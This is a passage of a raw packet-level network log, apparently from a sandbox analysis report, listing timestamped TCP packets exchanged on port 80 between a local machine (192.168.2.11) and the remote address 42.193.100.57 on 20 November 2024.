        Nov 20, 2024 09:14:48.797197104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797208071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797214985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797219038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797231913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797235012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797244072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797255039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797255039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797270060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797282934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797287941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797287941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797312975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797378063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835499048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835510969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835529089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835541964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835552931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835607052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835616112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835633039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835639954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835639954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835648060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835659981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835663080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835683107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835692883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835692883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835705042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835731983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835756063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835767984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835779905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835784912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835793018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835803032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.835808039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835845947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.835845947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.879831076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.879880905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.879892111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.879904032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.879915953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.879964113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.879976988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.879987955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.879998922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.880033016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.880101919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.880105019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.880172014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.880192995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.880202055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.880206108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.880213976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.880218029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.880234003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.880243063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.880243063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.880256891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.880269051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.880278111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.880361080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881129026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881150007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881166935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881179094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881189108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881212950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881238937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881249905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881262064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881267071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881272078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881299973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881303072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881300926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881316900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881328106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881331921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881398916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881409883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881422043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881424904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881433964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881467104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881467104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881486893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881499052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881510973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881516933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881524086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881537914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881556034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881567001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881567955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881582022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881592989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881611109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881611109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881632090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881643057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881660938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881674051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881685019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881705999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881741047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881756067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881769896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881773949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881784916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881802082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881802082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881869078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881881952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881892920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881905079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881915092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881923914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881943941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881954908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881966114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881969929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.881975889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.881989956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882050991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882061005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882071972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882075071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882085085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882097960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882111073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882131100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882142067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882159948 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882160902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882172108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882184982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882186890 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882194996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882210970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882220030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882239103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882255077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882266998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882267952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882294893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882359028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882370949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882374048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882384062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882396936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882457972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882460117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882469893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882482052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882493019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882508039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882601023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882611990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882622957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882623911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882633924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882646084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882647991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882658005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882671118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882709980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882709980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882741928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882752895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882765055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882781029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882800102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882812023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882812023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882812023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882823944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.882841110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882841110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882869005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.882869005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.477762938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.477883101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.477936983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.477948904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.477977037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.477983952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.477993965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478004932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478007078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478018045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478040934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478106022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478117943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478128910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478140116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478143930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478169918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478202105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478280067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478292942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478302956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478308916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478317976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478321075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478329897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478333950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478344917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478355885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478360891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478368044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478379011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478380919 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478393078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478421926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478423119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478435993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478446007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478456974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478461027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478468895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478480101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478487015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478513002 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478537083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478611946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478624105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478652954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478809118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478821993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478832960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478843927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478854895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478863955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478863955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478866100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478878975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478889942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478899956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478900909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478915930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.478928089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478950024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.478965998 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479106903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479118109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479129076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479139090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479151011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479154110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479171038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479187012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479289055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479300022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479310036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479327917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479330063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479341984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479347944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479357958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479367971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479372025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479392052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479422092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479453087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479465008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479475975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479486942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479490042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479500055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479525089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479659081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479671001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479681015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479692936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479701996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479707003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479729891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479736090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479756117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479777098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479799986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479811907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479824066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479835987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479837894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479847908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479859114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479861975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479893923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479902029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.479978085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.479990005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480000973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480011940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480016947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480024099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480031967 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480067015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480175972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480202913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480214119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480216026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480226040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480251074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480251074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480268955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480351925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480364084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480374098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480385065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480390072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480398893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480407953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480412006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480424881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480439901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480448961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480478048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480508089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480520010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480530024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480541945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480547905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480554104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480570078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480593920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480684042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480695009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480705976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480715990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480727911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480752945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480840921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480851889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480864048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480874062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480884075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480885029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480910063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480910063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480921984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480932951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.480933905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.480963945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.481003046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.481033087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481044054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481055021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481077909 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.481105089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.481210947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481223106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481232882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481245041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481250048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.481256008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481266975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481271982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.481278896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.481297016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.481308937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.481344938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562175035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562212944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562226057 CET804970142.193.100.57192.168.2.11
